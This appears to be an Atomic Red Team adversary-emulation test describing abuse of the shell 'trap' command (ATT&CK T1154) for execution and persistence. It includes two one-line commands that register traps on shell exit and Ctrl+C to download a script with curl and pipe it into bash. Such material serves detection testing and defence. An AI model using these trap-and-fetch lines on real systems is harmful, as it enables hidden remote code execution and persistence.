Thetrap
command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts likectrl+c
andctrl+d
. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following formattrap 'command list' signals
where "command list" will be executed when "signals" are received.
After exiting the shell, the script will download and execute.
After sending a keyboard interrupt (CTRL+C) the script will download and execute.
Supported Platforms: macOS, CentOS, Ubuntu, Linux
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' EXIT
exit
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT